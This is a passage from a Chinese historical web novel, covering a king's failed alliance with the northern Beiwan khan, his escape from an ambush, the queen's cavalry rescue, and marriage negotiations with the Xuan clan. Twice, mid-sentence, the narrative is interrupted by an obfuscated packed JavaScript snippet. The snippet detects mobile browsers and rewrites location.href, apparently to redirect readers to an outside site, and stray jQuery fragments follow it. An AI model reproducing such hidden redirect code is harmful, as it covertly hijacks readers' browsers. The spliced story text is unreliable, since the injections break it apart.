元旻脸上挂着笑,眼神凛冽:“是朕之前轻忽,放虎归山。待他日腾出手来,朕必手刃苻洵。” 元晞幽幽叹息:“此一时彼一时,谁能想到如此狂悖的苻洵,居然真的不恋权位,谁又能想到,苻沣放权放得如此干净利索?” 那会儿,都还心存侥幸、期待着兄弟阋墙,后来灵昌的一系列变故简直闻所未闻。 . 感情,是坚不可摧的铠甲,也是插在软肋的刀。 为君王者,太过重情是大忌,有了掣肘就会多走弯路,一着不慎甚至满盘皆输。 可大翊王室总出些情种,祖父怀王专宠王后、眼睁睁看着亲子被屠戮殆尽;父亲昭王独宠崔夫人,使得元琤有机可乘,内乱四年;到了元旻这代,褚王后深明大义、不醋不妒,国君却一言难尽。 元晞踌躇半晌,还是张张嘴试探说:“王上,母后和王后都托臣带话,不知……” “不当讲”,元旻开口打断,“她们除了劝我纳妃嫔,还有什么好话?” 元晞噎住了,半晌才讷讷道:“那眼下境况,宣氏如何安抚?” 元旻脸黑得像锅底:“这个宣氏,多为族中子弟谋些高官厚禄不行么,非一根筋往后宫塞女人?” 宣氏一族戍守边防数百年,可谓劳苦功高。却因朔宁地处偏远,每代国君虽待他们不薄,却从未到炙手可热的地步。 羽民九姓中,出身宣氏的王后和妃嫔屈指可数。 越缺什么越求什么,宣氏十分执着于同王室缔结姻亲。 永平一年,宣氏花重金打点宗正寺进谏册后之事,并将宣十二娘的小像摆在最上面。 永平三年,他前往朔宁北伐,宣正浩直接把宣十五娘送到他们跟前,说愿替王后分忧。 永平四年,翊、荣两国关系恶化,宣夫人又求到姜嫣那儿,说是宣十八娘子即将出阁…… “朕自即位起,各州郡上贡的奇珍异宝,每年都分出一成犒赏宣氏”,元旻无奈地扶额,“之前他们送来的十二娘和十五娘,朕也将她们册为郡主,以宗室女之礼出嫁,还要如何?” 其实两人都心知肚明,宣氏先背叛昭王拥立逆王、再背叛逆王拥立元旻,数次反水。如今虽得元旻厚待,心里总是不踏实的,急于和王室绑定得更深些。 比起宣氏的一头热,冯姮劝他也就罢了,舜英的态度着实令他伤心。 她居然说,如今战事频发、正是用人之际,宣氏所求并不过分。 那表情和语气,轻松得跟吃饭喝水一样。 即位之后,他慢慢察觉舜英跟从前大不一样,纳妾这种所有夫君都喜欢、所有妻子都醋妒的事,到他们这掉了个个儿。 她把自己拆成了无数片,脑子用来替他筹谋国事,躯体拿来与他生儿育女,武艺拿来保护他,学过的文韬武略与他一起征战沙场…… 端娴慧至、外辅国政、执掌中馈、宽柔不妒,待他也极尽温存,不断为王室开枝散叶。无论是作为妻子还是王后,她都完美得无可挑剔。 人人称道他情深专宠,无人知晓,这其实藏着难以言说的情绪。他明知生育伤身,她的身子更是大半只脚踩在鬼门关,却在夫妻之事上十分放纵,就想让她不断替自己生儿育女,就喜欢看她一遍遍诞下两人的骨血,哪怕她可能因此…… 他讨厌她的贤良淑德! 那些没来由的怨怼、深深的无力感……长年累月酿成了恨,却不知该对着谁。 有时,他感觉自己拥有了她的全部;有时,却感觉自己已经永远失去了她。 黯然思索半晌,他长叹一声:“郑娘娘说元旭已到了议亲的年纪,全凭朕和母后做主。正妻和侧室,脑子正常的都晓得怎么选。” 元晞心说,能当着王后的面塞妃嫔、脑子能有多正常,却也只能附和:“去了再说吧。” . 同样是戍守形势复杂的边境、同样是延绵千载的武将世家。 国朝素来流传“北有朔门,南有金州”,说的便是宣、崔这两个分别把守翊国南北门户的泱泱大族。 宣氏亦是家学渊源,先后替元氏培养出了最骁勇善战的两父子——昭王元珙、国尉元晞。 宣正浩五十多岁,正值年富力强的年纪,穿着玄色银团纹锦缎长袍,麦色皮肤,络腮须修剪颇为整齐。瞧着不像将军,更像相貌威武些的文官。 当夜,宣正浩设宴于武原城的朔宁边户都督府,宣氏一族五品以上的子弟皆位列在宴,足有三百多人。 “高等武官没几个,中等武将竟这样多,还都年轻力壮、前途无量”,元旻悄声与元晞商议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14098683|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“一个王子恐怕不够,你家笙儿明年就及笄了,回头问问她意下如何?” 元晞双眸一亮:“妙极,把这茬忘了……笙儿从小跟宣二哥家的九小子交情好,来时还托我给那小子带荷包。” 当夜筵席散后,元旻、元晞意犹未尽,携同宣正浩骑马至玄武山下,夜游朔门关。提及这两桩婚事,宣正浩果然大喜,谢恩之余,又开口道。 “微臣膝下幼女宣苒已及笄,与朔宁军中一位出身寒门的小将情投意合,向陛下请一道恩典。” 宣苒,正是前些天宣夫人游说姜嫣时、提到的那位宣十八娘。 元旻差点笑出声,当即命人取来笔墨纸砚,书写赐婚谕旨,有些好奇:“这位萧勖,出身寒门却能得表舅垂青,不知有何过人之处?” 宣正浩面带赧然:“去年秋天,小女进乌兰山狩猎,不慎同府兵走散、陷在雪窝里,幸得北宛一猎户之子萧勖相救。” 元晞很会抓重点:“北宛人?” “生父是翊国人,因早年丧父,随母亲回北宛讨生活”,宣正浩忙摇摇头,笑着解释,“虽出身寒微,那孩子却是个有志气的,甘愿入我朔宁军,从小小士卒做起。” “臣见他有几分机敏、身手尚可,便先将他编入了斥候营,短短数月屡建奇功。臣爱其才华,刚刚擢他为军司马,率领一部骑兵,想着慢慢历练上来。” 元晞顿时来了兴趣:“表舅可否为侄子引见?” 宣正浩踌躇道:“并非下官不肯,萧勖前天领命去朔门关外巡防了,待他回到武原,定来觐见陛下与国尉大人。” 元旻不甚在意,笑道:“听表舅如此说,萧勖之才如囊中之锥,凭战功博个封妻荫子指日可待。届时朕自然得见,也不急于一时。” 又吩咐道:“国书约定的会盟之期为五月二十五,劳烦表舅筑台设坛了。” 元晞略带疑惑地瞄过去,元旻眉眼带笑回以注目,微不可察地点了点头。 . 北卢郡天高风急,夕阳晚照烫在背后,炎炎灼人。 苻洵散漫地坐在临河的崖边,就着脚下伊河喧响的滔滔激流,举起手里酒壶、浇入口中。 按住胸口,紧贴肌肤的那枚玉佩硌得他生疼,他却不愿松开,只是摁得更紧,像是要将那鱼跃龙门的图案嵌入骨髓。 狂风吹得他红色长袍翻滚不休,额前两绺乌发飘飘摇摇,强扮少年模样,却早已满目沧桑、物是人非。 又是五月二十七,四年光阴弹指而过。 秦川侍立身后,见他只是一口接一口喝着闷酒,却一言不发,也不好主动出声劝慰。 “主子,小夫人来北卢了”,郎琊从山下大步流星上来,边走边说,“已接进将军府了。” 苻洵收回思绪,起身掸去袍上灰尘,又取过水袋漱口,最后从香囊里取出丁香含着,才施施然往山下走。 将军府前堂,除了抱着苻忆坐在堂上的锦瑟,还站着个三岁男孩,眉眼沉静、面容端雅,恭恭敬敬躬身长揖:“阐儿给父亲请安。” 抬头时,眸中有泪光闪过。 苻洵见苻阐一身白袍、连发带也是缟素,有些错愕:“这是何意?” 锦瑟眼圈发红,哽咽道:“阐儿的生母过世了,是桃花痨……妾赶过去的时候,阐儿正抱着柳姨娘的尸身,拉都拉不开。从那以后,就夜夜梦魇。” 苻洵愣住了,怔怔注视着苻阐,稚子的双眸通红、似已流干眼泪。恍惚间,一双同样通红的泪眼跨越二十年光阴,与他遥遥对视。 他的人生轨迹,像是踏着不断循环的怪圈,转了一圈、又回原点。 他霎时心如刀绞,俯下身去、紧紧抱住眼前孤零零的孩子。 入夜,苻洵抱着苻阐同榻而眠,这也是他有生以来,第一次哄稚子入睡。 94. 朔门惊变 阴暗逼仄的小屋里,弥漫着脓血和腐烂的臭味,眼睛、喉咙、鼻腔、脸颊干得皲裂,手臂、腿、后背、前胸…… 撕裂般的疼,恶臭与剧痛缠得他快窒息了。 黑暗中,无数声音围着他嗤笑、嘲讽、喝斥、窃窃私语,“私生子”、“野种”、“小国贱民”、“血都是脏的”、“阴沟鼠”、“你也配?”…… 他蜷成婴孩的姿态,环抱住自己双肩、瑟瑟发抖。 忽地房门大开、天光乍泻。 高大伟岸的男人走进来抱住他,将水袋递到他唇边,静静看他喝完,然后抱起他走向门外;清新如柳枝的少女将他搂入怀中,托上马背、从身后搂住他,风掣电奔。 阳光亮得他双目泪如泉涌,野草的清香扑入鼻腔,清脆的鸟鸣充盈了两耳。 柔软的风中传来男子温厚的声音:“阿洵,是哥哥。” 温煦的风中传来少女清脆的声音:“有我在,没人能伤害你。” 画面一转,张灯结彩的府邸、沸反盈天的礼乐,携手走上喜堂的新人双双交拜,男子满脸甜蜜像是要溢出来。 穿着正红色喜袍的男女牵着手,一个又一个孩子从他们中间长出来,一家五口背对着他、越走越远。 ——十八年前兄嫂拜堂成亲,他亲眼目睹。 普天同庆、万众瞩目下,穿着天青色礼服的男女也牵着手,背对着他、越走越远。 ——四年前腊月二十六,他穿着胭脂红裘氅,在她答应与自己订婚的那座酒楼、同样的临窗位置,摆了一对酒杯,一直枯坐到除夕之夜。后来,在他软磨硬泡地央求下,访翊使臣捎给他一幅国君大婚图。 “哥哥,嫂子生不出男嗣也无妨,你需要儿子,我把阿阙给你,只要你高兴。” “不,我不是故意伤害隽儿的……你打我骂我都可以,不要伤心……” “人我不妄求了,爱我不奢望了,只盼着你能好好的,我能时不时看你一眼。为什么,就这点念想都留不住?” “不要抛下我一个人……” 他追着那两对背影狂奔,却怎么都追不上。 温暖明亮的光晕环在他们周身,琴瑟和谐、其乐融融,头也不回地渐行渐远。抛下他一个人,在这空荡荡冷冰冰的黑色夜晚。 “骗子!都是骗子!”苻洵从噩梦中惊醒,弹坐而起,反复地喃喃低语,声音从愤怒到无助。颤抖着紧紧抱住自己,泪流满面。 苻阐醒了,惶恐地看着他,孩童的本能促使他向苻洵挪了挪,巴巴地靠过去。 苻洵瞥见眼前瑟缩的小孩,像是瞧见什么怪物,惊恐大喊一声推开了他,慌乱地后退、直退到床榻边缘,跌了下去,却浑然不顾疼痛、连滚带爬逃向房门。 睡在隔壁的锦瑟听到动静,赶紧推门进来,跑过他身边时脚步一滞。犹豫了片刻,还是径直走进房内,先抱住床上的苻阐、轻柔地抚着稚子后背安慰。 “爹爹只是做噩梦了,母亲在这里,没人会伤害阐儿。” 苻阐的颤抖逐渐停止,埋在锦瑟怀中放声哭了出来,许久之后,哭累了沉沉睡去。 苻洵靠在门边,浑身僵冷宛若石雕,任夜风吹干满脸泪痕、灌满雪白寝衣,怔怔看着她安抚好苻阐,将稚子轻轻放下、盖上一层薄被。 已干涸的眼眶忽地湿润了。 锦瑟走到他面前,蹲下身来、担忧地注视着他,他双眸亮晶晶的、闪着泪花,目不转睛痴痴看着她。 带着乞求一字字道:“以后,你就是姐姐,我是你的阿洵,可好?” “姐姐,你不要回灵昌,就留在将军府陪我,咱们再把阿忆接过来,一家人永不分离。” . “元承祎,出去玩要看着妹妹,不要光顾着自己疯”,舜英瞅见承徽额头碰掉的油皮,抽出藤条、咬牙切齿地教训,“你爹像你这么大的时候,已经会照顾弟弟妹妹了!” “爹爹明明说他照顾的是娘亲,也是他的娘子”,承祎理直气壮地反问,“娘亲却为何要我看着妹妹?” 舜英无言以对。 门口传来银铃般的笑声:“爹爹小时候也照顾姑姑哦,还有你们的六叔。” 承祎承徽惊喜地喊着“姑姑”,飞奔过去、一边一个抱住了元晴大腿。 元晴大步流星走进来,猪肉脯给承祎、梨膏糖给承徽,又捧出一只锦盒递给舜英,打开来满满一盒剔透的琉璃瓶,瓶中盛着干净的桂花油,另有一对犀角梳。 “听四哥说你夜里睡不好、白天头疼,用这个试试?” 舜英愕然:“你不是进木城山了?怎么又从灵昌买这些回来?” 元晴摆了摆手:“顺路。” 见舜英似笑非笑盯着她,声音弱了几分:“元晢的孩子满月,眼下两国这形势,邮驿估计悬。我想着顶多花费个把月,就替苻萱给她爹带了一瓶喜酒、两盒喜饼。” 舜英促狭地挑了挑眉:“果真只看在她娘的份上?” 元晴却长叹一声:“别提了,本来想找的人没见着,倒见着苻洵那大儿子,真是好看啧啧……” 说着又开始眉飞色舞:“虽说长得跟他爹完全不像,却也好看得紧,又爱笑嘴又甜,长大了肯定比他爹还招女人喜欢。” “今天初几?”舜英听她提起苻洵,蓦然想到元旻出发之前,她做的那个梦,一股寒意缠上脊背。 “六月初三。” 舜英笑容消失,心一沉,腾起一股不祥的预感。 上一封信是六月初一收到的,寄出时间为五月二十四,说次日将与冯建于朔门关会盟。 而后,杳无音讯。 舜英感觉心脏在扑腾着狂跳,忙吩咐傅母照看好承祎和承徽,来不及等轿辇,飞速奔向上书房。 与从玉阶匆匆上来的天权撞了满怀,天权一看是她,再不掩饰满脸慌乱:“王后娘娘,陛下失踪了。” 舜英心一沉:“会盟不是在朔门关么,不是在大翊境内么?” 天权迟疑片刻,艰涩开口:“盟约签订之后,冯建邀陛下同登乌兰山,检视北宛已备好的第一批岁贡,陛下去了。” 舜英目瞪口呆:“他又不是没见过岁贡,怎能如此轻易深入敌境?” 深吸一口气,舜英竭力平复心绪,寒声问:“去乌兰山的时候,带了多少内卫?” “大统领麾下五百人,开阳部一百人,还有国尉大人手下两千精兵。” 舜英越听心越凉,乌兰山以北是一马平川,无任何天险可据,北宛来再多骑兵都摆得开。 两千六百人,哪怕是以一当百的好手,也能顷刻被踩作肉泥。 转念一想,如此冒进、并非元旻风格,于是又问:“人丢了七八天,宣正浩干什么吃的?” 天权头更低:“当日卑职留守武原,陛下刚刚出关,斥候营传报望月关有异动,像是北卢郡有骑兵调动,宣正浩率了骑兵过去察看。” “卑职无虎符和诏书、调不动沿途援兵,只得昼夜奔袭回……” 舜英已等不及听他讲完,一叠声吩咐:“去马厩,把那匹盗骊套上马鞍牵过来。” “备好银甲和三把弯刀,直接送到景和宫。” “去大殿下府邸,请姜夫人披甲备马,去城西等着!” “尽快传丞相到书房,还有云司农和周寺卿,此事严防泄密,快!” 吩咐完这些,她又一路小跑冲向景和宫,拉住春羽取来王后玺绶。 虎符、还有虎符! 元旻亲征调兵无需虎符,都是派别人出战时才拿去发给主将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14111741|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以他把虎符随手丢哪儿了? 她急的团团转,冲到庭中,晃了晃发热的脑袋,从荷花缸掬起一捧凉水泼在脸上。 半个时辰后,舜英骑着日行千里的盗骊,身后跟着天权与一百内卫,顺春秋道往西疾驰而去。 日已西沉,血红色的晚霞铺满半边天空,六月的热风铺面而来,她映着漫天晚霞,伏低身子、竭力仰头看向前方。 快些、再快些。 昇阳、商都、龙门渡、怀阳…… 他们身后的昇阳城,上书房灯火通明、彻夜不熄,元璟在书岸前搭了张椅子坐下,周睿才与云飞燕率属下分坐两列。 舜英与姜嫣往东北拐了个弯,先去了洺州,抵达之时、士兵晨练正酣。 “二姐,借我们一万轻骑!”姜嫣径直骑马冲入校场,攥住站在队首的姜娥,舜英先出示王后玺绶,然后从袖中摸出半片虎符丢给她。 半个时辰后,在姜嫣的率领下,一万五洺州轻骑倾巢出动,烟尘滚滚驰向燕州。 舜英调转方向往西,再过怀阳时、往上阳郡方向瞥了一眼,思索片刻、坚决地摇了摇头,扬鞭径直北上。 三千铁骑确实诱人,可龙骨关的守军不能动! 抵达临梁郡已是六月初八上午,武煊正骑着那匹眼熟的黄骠马在击鞠。舜英连续颠簸已无力呼喊,从包袱抽出红色丝带缚在左腕上,高扬左臂、策马冲进校场,果然看见武煊调转马头迎了过来。 然后,兴高采烈地塞给她一柄球杖。 舜英竭力翻出个白眼,然后身子一软、眼前黑了下去。 朦朦胧胧间,有人捏着她下颌、往她齿缝灌进些温水,接着是浓米汤…… 那人手法生疏,米汤流得唇角、双颊、下颌、脖子到处都是,一感知她有吞咽的动作,立即灌得快了些。 “咳咳……武老六!”她呛咳着弹坐起来,顶得剩下半碗米汤泼了一地,“会不会喂汤?” 武煊理所当然道:“不会,谁专门学这玩意儿,没给你下颌卸掉灌进去就好……” 舜英很想对着那张笑脸来一拳:“行,下次别让我撞上你晕倒!” 武煊噗嗤笑起来:“你堂堂王后,该不会亲自给孩子喂饭吧?一想到你这双拿刀抡枪的手,那么小心翼翼从碗里舀起一勺、柔声细语哄孩子,太好笑了哈哈哈……” “停!”舜英听他越扯越远,终于攒足力气踹了他一脚,“说正事!” 武煊上下打量风尘仆仆的她:“累成这样,又连着骑了几天几夜?发生了何事?” 舜英神色严峻:“莫问缘由,我要四万轻骑、两千铁骑,借不借?” 武煊笑容乍收,铿然跪地抱拳,肃然道:“臣武煊愿率临梁郡五万轻骑、三千铁骑,任王后殿下调遣!” 舜英愕然、涌起一股狂喜:“另外一千铁骑哪来的?” 武煊窃喜,压低声音对她耳语:“五年前宫变后,陛下命我从那两千轻骑选一千出来,秘密升为铁骑。” 舜英会意,与他交换了个眼神,同时微不可察地颔首。 于是不再赘言,武煊跃身上马,前往东郊大营集结骑兵。 舜英去了客房,那里早已备好吃食和热水。心像是要跳出胸腔、胃腹又疼又恶心,她强逼自己吃了些食物,沐浴之后假寐养神。 黄昏时,临梁骑兵集结完毕,斥候营已出发,中军每人只携带了七天干粮。 “拼了!”武煊将领兵的节杖交到她手中,骑马扈从在她左后方,“宣正浩那个老匹夫,关键时刻掉链子。等小爷收拾了北宛,回头扒了他的皮!” “或许望月关真有状况”,舜英又想到那血淋淋的梦,想到捉摸不定的苻洵,长叹一声,幽幽地说,“等先找到陛下,后面再说吧。” 95. 永平北伐 武原为边防重镇,仅仅王后玺绶分量不够,所幸元旻出发前夜留给她一道手谕,授予她直接调动包含武原、怀戎、广宁、上阳等几大边防军营的权限。 武原城悄寂无声,西郊大营还剩两万骑兵。 留驻武原的守兵来报,崔正浩听斥候营探得消息,苻洵正率兵从北卢郡渡河,于是带上两万骑兵和两千铁骑赶去看情况。 正值河流湍急的六月,苻洵只是癫、又不是傻,挑这时候渡河突袭,怎么想的?! 暗暗骂着,却不敢轻忽,不再调动武原大军,只率领武煊麾下的轻骑重骑借道武原城,出朔门关后分出左右翼,一路绝尘往北而去。 过朔门关北上,穿越数重瓮城,便是依乌兰山南麓山脊而建的、高约两三丈、延绵数千里的边墙。 北风飒飒、飞沙遮天,映得天穹上的太阳、云层都显出苍黄的色调。 数万北宛骑兵散开在乌兰山北麓,踩过矮小稀疏的植被,一寸寸搜寻过风吹日晒的干土和岩层。 边墙北侧的堆积如山的尸骸已然风化,只剩褐色布条挂在灰白骨骸上,在劲风中晃荡不休。开阳率内卫转过岩石堆,远远瞧见石头山的山坳里,两千精兵分散藏身于灌木丛后、石堆沙丘后。 元旻坐在岩石背面,正同元晞谈笑风生。 元旻笑道:“乌兰山确实挺大,冯建派人搜了半个多月都没寻过来。” 元晞摇摇头:“已搜过了,只是搜得不太仔细,可能是忌讳,毕竟这里太多尸骸,当地人管这儿叫死人坡……陛下的伤可好些了?” . 五月二十五,朔门军寨夯土筑九丈高台,翊王元旻、北宛王冯建宰三牲、歃血、签订盟约,再同登高台,馈六瑚、斟五齐,祭告皇天后土。 而后,元旻邀冯建前往西郊大营,观摩朔宁府骑兵演习旗鼓、操练士卒。虏箭如沙射金甲,甲光向日金鳞开。 冯建看了许久那井然有序的排兵布阵、击鼓鸣金,面容难掩惊惶。 五月二十六,冯建邀元旻同登乌兰山,北面是无垠的沙丘连着草原,数万头骏马、牛羊成群结队,潮水般缓缓涌向边墙。 冯建斟满金樽,亲手将其中一杯奉给元旻,笑容谦逊:“贵国兵多将广、所向披靡,敝国望尘莫及,愿罢战息兵、永不交侵。” 元旻含笑接过金樽,将酒樽举到唇边,然后、松手…… 金樽坠落,在岩石上撞出清脆的“当——” 惊变陡生。 埋伏在山崖下、石头后、灌木丛后的北宛武士如雨后春笋般冒出来,手执长刀对着元旻一拥而上,冯建连连喝止、已然来不及。 混乱中,短兵相接、鲜血飞溅,元旻右臂被划得皮开肉绽。 一直侍立在元旻身侧的天枢高呼:“北宛汗王毫无结盟诚意,暗杀我王!” 天枢麾下五百内卫齐齐拔刀,砍向突袭的北宛武士;开阳麾下武士分作两队,一队九十人协同天枢部内卫,一队十人携早已备好的发兵诏书向朔门关冲去。 此时,元旻听元晞如此关切,于是抬起右臂、缓缓拉起袍袖,那道长约半尺的刀伤已结了层深紫色厚痂。 “应无大碍。” 元晞心下稍安,叹息道:“这次冯建是诚心与我们结盟,就算在来的路上还有些不甘,见了朔宁府的旗鼓演习,应是已打消了交战之念。” “那几百武士可是实打实埋伏在那儿的,冤枉了他不成?”元旻凉飕飕地嘲讽,“临时反悔罢了,他不设伏,朕再怎么也引不出来。” 元晞转念一想,觉得很有道理,于是附和道:“此时此刻,他自然诚心,等再过几年兵强马壮了,又是另说。” 元旻笑意消失,眼神凛若寒霜:“这样一年几小袭、几年一大侵,何时是个头?苻洵在伊河对岸日夜操练新兵,咱们不解决北宛这心腹之患,如何全力对付荣国?” “不如趁此良机,要么将北宛打回四百多年前一盘散沙,要么朕替他们选个听话的国君!” 元晞深吸一口气、合上双目,眼前又浮现出那张脸,永远温婉地微笑着、眼里却有挥之不去的悲愁。 摇了摇头,竭力将纷繁的杂念赶出脑海。 忽然听到元旻略带疑惑的声音:“半个多月了,就算是步兵也该走拢了,表舅怎么还没来?” “陛下是怎样同他说的”,元晞睁开眼、沉吟着问,“是否明示了何时调兵出关?” 元旻理所当然地点点头:“让他这些日子收束军队,等候朔门关外军令。然后又与他畅谈翊国和荣国局势,顺便提到苻洵那六万骑兵。” “糟了!”元晞懊恼地拍向脑门,“陛下何必此时同他扯荣国骑兵,表舅虽骁勇善战,却远离庙堂甚久,听起话来一根筋……” 元旻扶额、有些无奈:“那也不至于……对了,开阳部把诏令送到何处去了?” 开阳踩着沙石,深一脚浅一脚冲上来,膝弯打着颤,慌乱禀报:“陛下,卑职派出的送信小队失踪了。” 元旻脸色一沉,霍然起身:“不好,形势有变,此地不宜久留,马上开暗门进边墙!” 元晞紧跟着起身,他旁边裨将立即展开旌旗竖起来,迎风挥动。 . 同一时刻,边墙朔方门轰然洞开,舜英和武煊率五万多骑兵鱼贯而出。 武煊得意洋洋道:“殿下,兄弟今日唯你马首是瞻,好好来一场大捷,让朝中那帮说你只会仰仗陛下的草包看看,咱们质子团三人,没一个是废物!” “都封国公了,还能将那些腌臜话听进去”,舜英白了他一眼,“无非是新政和军改动了世家利益,又都不敢说陛下的不是,只敢冲着我这个出身低微、根基浅薄的王后。” 武煊觑着她脸色,叹了口气诚恳劝慰:“给陛下纳几个大族的妃嫔吧……替你分些刀子,我知道你膈应,但是人言可畏,从古到今哪个国君没几个妃嫔?” “如今什么狐媚惑主、妖后之类的都出来了,你不当回事不代表真伤不到你。世家大族沉疴已久、非朝夕之功,司南侯也莫太忠直,自古以来哪个纯臣有好下场?” 舜英苦笑着摇头,简直哑巴吃黄连。遥遥跑来一名斥候传报,乌兰山散布了约五万兵卒,另有十万北宛轻骑已集结完毕、正往朔宁府疾驰而来。 她蓦地一震,头皮发麻看向武煊:“武老六,你不会真没安排补给吧。” “突袭嘛,本来没安排”,武煊转了转眼珠,悻悻道,“可你到了不久,我就收到丞相府的公文,说从商都调拨的军粮快到了。” 舜英愣住了,半晌之后反应过来,霎时有冲进太庙、将元旻列祖列宗都拉出来骂一通的冲动。 朔方门西侧,乌兰山北麓、边墙方向突然传来三声悠长的号角声。 . 边墙另一侧,元晞的裨将刚刚展开红旗挥动几下,便已吸引漫山搜寻的北宛兵卒,牛角号长吹三声,士卒潮水般卷向这边。 藏匿的两千精兵齐齐起身,诸内卫结锋矢阵,元晞及两偏将打头阵、天枢部分散两翼、开阳部断后,掩护元旻冲向边墙。 元旻解下背后强弓,搭箭三支、弦拉满月,箭矢如流星破空射出,将挨得最近的三名追兵射了个对穿。 拔出长剑,含笑看向元晞:“大哥,从这里到边墙,三刻钟!” 元晞扬声大笑:“两刻钟足矣!” 一行人且战且退,聚向尸骨如山的边墙。 北宛全民皆兵,士卒体能极好、跑得飞快,一刻钟后竟有合围之态,并纷纷拉弓引弦、飞箭如雨…… 两千精兵纷纷举起护盾,仍防不住缝隙里飙入的流矢。元旻一边笑着低语“ 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舜英瞬时反应过来:“好一出调虎离山。” 元旻冷冷道:“朔宁府边户都督宣正浩,身为主帅误判形势、贻误战机,本该军法处置,念其未酿成恶果、正值用人之秋,允其将功折罪;降职三等,杖责一百军棍,罚俸三年!” 舜英瞥向开阳,见他满脸沉郁,转头对元旻说:“臣妾有一事不明,朔宁府的斥候营从未探回过如此离谱的线报,还有开阳那十人传信小队,又是被谁截杀半道?” 宣正浩抖如筛糠、冷汗齐下,颤声道:“军中有奸细,乃臣失察之过!” “此刻若大肆搜寻通敌内奸,恐影响军心”,元旻蹙眉沉吟、神色严峻,“表舅乃积年老将,自然知晓如何处理。” 语罢,不再多看一眼跪伏在地的宣正浩,起身拂袖离去。 褚舜英、元晞、武煊、天枢、开阳及众内卫纷纷转身,紧随其后鱼贯而出。 每一人经过宣正浩身边、都带起一阵风,拂过他流满脸颊的涔涔冷汗,直到那汗蒸发成盐渍、似千万根针扎着肉皮,仍无人叫他起身,任他在那跪成一座石雕。 积年老将,马失前蹄、误判局势,只差一步,他就坑死了国君。百死难恕之大罪,元旻虽未苛责,可他知晓,自己已彻底失去了君主的信任。 辗转反侧整夜之后,宣正浩主动将军杖数目增至两百。元旻仍是淡淡的,说他何至于如此,尽早探明军中奸细才是正事。 永平五年六月十五,翊王元旻命尚书令起草《伐北宛檄》,罗列北宛汗王冯建不守先王和平盟约、数度侵边袭民、降而复侵、佯作会盟伺机暗杀翊王等十余条罪行,昭告天下。 北宛无仪,频繁侵扰,大张攻杀曰“伐”。 檄文晓谕天下、呈送至冯建手中的同时,谢朗已率领怀戎、广宁、抚恩三军郡及洺州骑兵,合为五万轻骑、五千重骑倾巢出动,沿途围攻部落、劫掠辎重,从东路攻向柘枝城。 六月二十,国尉元晞挂帅出征、点将武煊为先军,率临梁郡五万轻骑、三千重骑,另从朔宁府抽调两万轻骑、两千重骑,北出朔门关、从西路攻向柘枝城。 西路北伐军任用的中等武官,多出身武选恩科。 宣正浩失主上信重,贬官后率领族中子弟留驻武原城,负责后勤补给,也算身居要职,罚得不轻不重。 为安宣氏军心,元旻又命在太尉府就职的宣正淼回武原、接任宣正浩之职。 大军拔营后的第二夜,元旻反客为主,在都督府设小宴与宣正浩对酌、畅谈。 席间,元旻递出一张洒金的大红庚帖:“滬国夫人托朕替其子、朕之六弟、平南侯元旭求取令嫒。” 96. 举案齐眉 一时兴起、口头上聊聊的婚事,经此波折还能继续,宣正浩一愣,颤颤伸手接过:“多谢陛下宽仁。” 元旻将杯中酒一饮而尽,眼圈发红:“五年前表舅挥师南下拥立之恩,朕永世难忘。这些天处置了表舅,朕心里很是过意不去。” “雷霆雨露皆是天恩”,宣正浩忙替他斟满,又举杯去敬他,“本就是微臣之过,国有国法、军有军规,陛下待臣已经很宽仁了,臣心悦诚服!” 元旻摇摇头,笑容温煦:“此事怪不得表舅,那苻洵狡狯至极。说来忏愧,朕早些年都在他手下吃过亏。” 宣正浩一惊,怔愣注视着眼前的年轻君主,一直以来,他年少才高、气宇轩昂,又喜怒不形于色,此刻眼角眉梢却尽显疲惫。宣正浩蓦地意识到,这看似无比强大的国君,才二十五岁啊。 “表舅啊……实不相瞒,北有大宛、西有荣国,咱们的国家正值危难之际”,元旻支颐歪坐、乱了仪态,唉声叹气,“宣氏为大翊镇守国门千载有余,朕不依靠你们,还能依靠谁?” “疆域辽阔、兵多将广如大翊,无论是哪个国家举兵侵袭,朕都不怕”,元旻喝得微醺、声音略带沙哑,“朕怕的这些臣子将领人心不齐、一盘散沙,你们都是朕亲手擢拔的将领,朕希望兄弟、父子、世家、寒门全都能拧成一股绳。” 宣正浩想到自己与宣正淼那些过节,顿觉也算不得什么,忙不迭给二人斟满,继续敬酒:“臣谢陛下肺腑之言,陛下让五弟回武原,是对宣氏的爱重。” 又忏愧道:“此次调兵失当,幸王后殿下驰援及时,未成弥天大祸,否则臣万死难赎其过啊。” 元旻唇角扬起温柔笑意,迷离醉眼有泪光浮动:“前年秋天,也是在这儿,朕抵死不纳妃嫔……朕知道你们想什么,都私下揣测朕惧内。此时此刻,表舅可知晓了?” 宣正浩想到此前卯足了劲、往这对生死与共的伉俪之间塞人,颇为过意不去,附和道:“得妻如此,夫复何求?臣此时方知陛下故剑情深。” 元旻不等他倒酒,自斟自饮起来:“阿英自跟随朕,从十四岁起,颠沛流离、饱经风霜、刀山火海都不知走了几遭,安生日子没过几天,又替朕生儿育女、执掌中馈、操心国事军务……” “朕若负了她,与禽兽何异,如此忘恩负义的凉薄君主,尔等还敢追随么?” 悠悠说话间,迷离的双眸却已静静注视着他,似笑非笑。 宣正浩叹了口气,不知如何作答,先前被屡次拒婚的尴尬,被打、被贬、被罚的微恼已荡然无存,正酝酿语句,却听门外侍婢施礼:“王后娘娘千秋!” 